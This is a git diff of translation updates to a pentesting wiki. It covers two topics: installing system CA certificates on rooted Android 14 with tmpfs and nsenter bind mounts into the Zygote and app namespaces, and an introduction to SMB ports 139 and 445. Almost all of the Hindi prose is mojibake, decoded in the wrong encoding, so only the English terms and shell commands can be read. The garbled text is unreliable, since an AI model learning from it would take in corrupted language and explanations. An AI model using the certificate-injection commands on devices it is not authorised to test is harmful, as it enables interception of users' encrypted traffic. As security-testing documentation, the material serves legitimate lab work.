рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ system crashes рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрди рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдкреНрд░рднрд╛рд╡реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `system_server` рдХреЛ restart рдХрд░рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ restart рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдПрдХ consistent рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд▓рд╛рддрд╛ рд╣реИред
+рдлрд┐рд░ рднреА, рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ workaround рдореМрдЬреВрдж рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ system-trusted CA certificates рдХреЛ рдореЙрдбрд┐рдлрд╛рдИ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ **`/apex`** рдХреА PRIVATE propagation рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ remount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ writable рдмрди рд╕рдХреЗред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`/apex/com.android.conscrypt`** рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд▓реЛрдХреЗрд╢рди рдкрд░ рдХреЙрдкреА рдХрд░рдирд╛, рдлрд┐рд░ **`/apex/com.android.conscrypt`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдХреЗ read-only constraint рдХреЛ рд╣рдЯрд╛рдирд╛, рдФрд░ рдлрд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдореВрд▓ рд╕реНрдерд╛рди рдкрд░ restore рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ system crashes рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рддреЗрдЬрд╝ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрди рдмрджрд▓рд╛рд╡реЛрдВ рдХреЛ system-рд╡реНрдпрд╛рдкреА рдкреНрд░рднрд╛рд╡реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `system_server` рдХреЛ restart рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рд╕рднреА applications рдХреЛ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ restart рдХрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ consistent рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд▓рд╛рддрд╛ рд╣реИред
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -133,24 +132,24 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
-1. **Setting Up a Writable Directory**: рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдореМрдЬреВрджрд╛ `non-APEX` system certificate рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рдКрдкрд░ `tmpfs` рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗ рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
+1. **рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗрдЯ рдХрд░рдирд╛**: рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдореМрдЬреВрджрд╛ non-APEX рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ `tmpfs` рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗред рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **Preparing CA Certificates**: рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗрдЯ рдЕрдк рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЬрд┐рди CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛ рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдореЗрдВ рд╕рдВрднрд╡рддрдГ `/apex/com.android.conscrypt/cacerts/` рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рдХреЙрдкреА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧрд╛ред рдЗрди рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреА permissions рдФрд░ SELinux labels рдХреЛ рдЙрдкрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
-3. **Bind Mounting for Zygote**: `nsenter` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдХреЛрдИ Zygote рдХреЗ mount namespace рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИред Zygote, рдЬреЛ Android applications рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ, рдЗрд╕ рдХрджрдо рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдЗрд╕рд▓рд┐рдП рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рдЖрдЧреЗ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХрдорд╛рдВрдб рд╣реИ:
+2. **Preparing CA Certificates**: Writable directory рдХреА рд╕реЗрдЯрдЕрдк рдХреЗ рдмрд╛рдж, рдЬрд┐рди CA certificates рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдореЗрдВ default certificates рдХреЛ `/apex/com.android.conscrypt/cacerts/` рд╕реЗ рдХреЙрдкреА рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрди certificates рдХреЗ permissions рдФрд░ SELinux labels рдХреЛ рдЙрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
+3. **Bind Mounting for Zygote**: `nsenter` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, Zygote рдХреЗ mount namespace рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Zygote, рдЬреЛ Android applications рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ, рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрджрдо рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ рдЖрдЧреЗ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдХрдорд╛рдВрдб рд╣реИ:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рд╣рд░ рдирдпрд╛ рдРрдк рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрдЯрдЕрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред
+рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣рд░ рдирдпрд╛ рдРрдк рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрдЯрдЕрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред
-4. **рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдирд╛**: рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣реЗ applications рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `nsenter` рдХрд╛ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдкреНрд░рддреНрдпреЗрдХ рдРрдк рдХреЗ namespace рдореЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдФрд░ рд╕рдорд╛рди bind mount рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рдХрдорд╛рдВрдб рд╣реИ:
+4. **рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдирд╛**: рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣реЗ рдРрдкреНрд╕ рдкрд░ рдкрд░рд┐рд╡рд░реНрддрди рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, `nsenter` рдХрд╛ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдРрдк рдХреЗ namespace рдореЗрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕рдорд╛рди bind mount рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрд╡рд╢реНрдпрдХ рдХрдорд╛рдВрдб рд╣реИ:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-5. **рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХрд╛ - Soft Reboot**: рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдореЗрдВ `init` process (PID 1) рдкрд░ bind mount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЛ `stop && start` рдХрдорд╛рдВрдб рд╕реЗ soft reboot рдХрд░рдирд╛ред рдпрд╣ рддрд░реАрдХрд╛ рд╕рднреА namespaces рдореЗрдВ рдмрджрд▓рд╛рд╡ рдлреИрд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реА app рдХреЛ рдЕрд▓рдЧ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдкрдбрд╝реЗрдЧреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЛ рдЖрдорддреМрд░ рдкрд░ рдХрдо рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ reboot рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕реБрд╡рд┐рдзрд╛ рд╣реЛрддреА рд╣реИред
+5. **Alternative Approach - Soft Reboot**: рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХрд╛ `init` process (PID 1) рдкрд░ bind mount рдХрд░рдиреЗ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЛ `stop && start` рдХрдорд╛рдВрдбреНрд╕ рд╕реЗ soft reboot рдХрд░рдиреЗ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ рд╕рднреА namespaces рдореЗрдВ рдмрджрд▓рд╛рд╡ рдлреИрд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдЪрд▓ рд░рд╣реЗ app рдХреЛ рдЕрд▓рдЧ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдкрдбрд╝реЗрдЧреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, reboot рдХрд░рдиреЗ рдХреА рдЕрд╕реБрд╡рд┐рдзрд╛ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рддрд░реАрдХрд╛ рдЖрдо рддреМрд░ рдкрд░ рдХрдо рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
-## References
+## рд╕рдВрджрд░реНрдн
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 198af9302..01b94eea6 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
-## **Port 139**
+## **рдкреЛрд░реНрдЯ 139**
-The _**Network Basic Input Output System**_** (NetBIOS)** рдПрдХ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ local area network (LAN) рдХреЗ рднреАрддрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди, PCs, рдФрд░ Desktops рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рд╕рд╛рд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЙрдирдХрд╛ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрдзрд┐рдХрддрдо 16 рд╡рд░реНрдг рддрдХ рдХреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рдЖрд░рдВрдн рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (client рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП) рджреВрд╕рд░реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (server рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП) рдХреЛ "call" рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **TCP Port 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
+The _**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд▓реЛрдХрд▓ рдПрд░рд┐рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди, PCs, рдФрд░ Desktops рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдзрд┐рдХрддрдо 16 characters рддрдХ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рдЕрд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рдЖрд░рдВрдн рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (acting as the client) рджреВрд╕рд░реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди (acting as the server) рдХреЛ "call" рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **TCP Port 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
-рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, Port 139 рдХреЛ тАШNBT over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ Port 445 рдХреЛ тАШSMB over IPтАЩ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк **SMB** рдХрд╛ рдЕрд░реНрде тАШ**Server Message Blocks**тАЩ рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рдореЗрдВ **Common Internet File System (CIFS)** рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ application-layer рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдореБрдЦреНрдп рдЙрдкрдпреЛрдЧ рдлрд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, serial ports рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдБрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, Port 139 рдХреЛ тАШNBT over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ Port 445 рдХреЛ тАШSMB over IPтАЩ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк **SMB** рдХрд╛ рдЕрд░реНрде тАШ**Server Message Blocks**тАЩ рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рдореЗрдВ **Common Internet File System (CIFS)** рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ application-layer рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдкреНрд░рдореБрдЦ рдЙрдкрдпреЛрдЧ рдлрд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдБрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИред
-рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдпрд╣ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ SMB port 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреЗ TCP/IP рдкрд░ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetBIOS over TCP/IP рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЕрдиреНрдп рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ port 139 рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB NetBIOS over TCP/IP рдХреЗ рд╕рд╛рде рд╕рдВрдпреБрдХреНрдд рд░реВрдк рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИред
